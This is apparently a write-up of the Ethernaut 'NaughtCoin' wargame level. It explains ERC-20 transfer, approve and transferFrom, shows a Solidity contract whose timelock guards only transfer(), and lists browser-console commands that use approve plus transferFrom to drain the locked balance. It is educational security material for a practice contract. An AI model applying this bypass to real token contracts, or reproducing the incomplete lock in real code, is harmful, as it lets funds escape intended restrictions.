Table of contents
This level introduces ERC-20 tokens, and ways to transfer them around. In the challenge, we hold all the naught coins, but the catch is that they are locked for 10 years. Our goal is to access them and transfer them to another address.
NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
Background
Let's first understand what are ERC-20 tokens. ERC-20 is a standard protocol to create fungible tokens. That's just a fancy way of saying that each unit of the token is identical to every other unit and is interchangeable. This allows developers to create tokens for their products and services, and since the protocol is well-defined, this brings uniformity to the ecosystem. Most of the tokens you see now, $AAVE, $UNI, $LINK, and $SHIB are all ERC-20 compliant. Read More
There are two ways to transfer these tokens:
transfer()
: this allows,msg.sender
to directly send tokens to a recipient.transferFrom()
: this allows an external sender (that could be the owner as well) to transfer anapproved
amount to a recipient.
We will be using the transferFrom()
function for this, in conjunction with approve().
Here is what the code looks like for them:
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function approve(address _spender, uint256 _value) public returns (bool success)
Code of Importance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days; //adds 10 years to the time when the current block was created
uint256 public INITIAL_SUPPLY; //state variable, will store initial supply.
address public player; //state variable address: will store our address.
constructor(address _player)
ERC20('NaughtCoin', '0x0') { //name and symbol of the token
player = _player; //assigns our address to player
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); //basically tells the initial supply + how many times a single token is divisible, that is 10^18 times.
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY); //internal function which mints initial supply to our address.
emit Transfer(address(0), player, INITIAL_SUPPLY); //emits that transfer from address(0) which indicates that tokens were minted to our address. Check the note after the code.
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value); //since we inherit from ERC20, we use super to override and thus access transfer function.
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
Note: A token contract that creates new tokens SHOULD trigger a Transfer event with the
_from
the address set to0x0
when tokens are created.Similarly, when burning tokens,
_to
parameter should be set to0x0
.
Okay, as you can observe in the above code, we cannot transfer funds using the transfer()
function, since the lockTokens()
modifier is enforcing the timelock on transfer()
function. Therefore we must use the transferFrom()
and approve()
function to transfer all the NaughtCoins.
Here is the strategy for the exploit.
Call
approve()
to approve ourselves to manage all the coins.Call
transferFrom()
.
Solution
Create a level instance and open up the console.
Run the following commands in console.
(await contract.balanceOf(player)).toString() //shows your balance await contract.approve(player, '1000000000000000000000000') //approves the balance (await contract.allowance(player, player)).toString() //checks if the approve was successful. await contract.transferFrom(player, 'enter random address', '1000000000000000000000000') //transfers the coin. (await contract.balanceOf(player)).toString() //the balance should now be zero.
Submit Instance🪙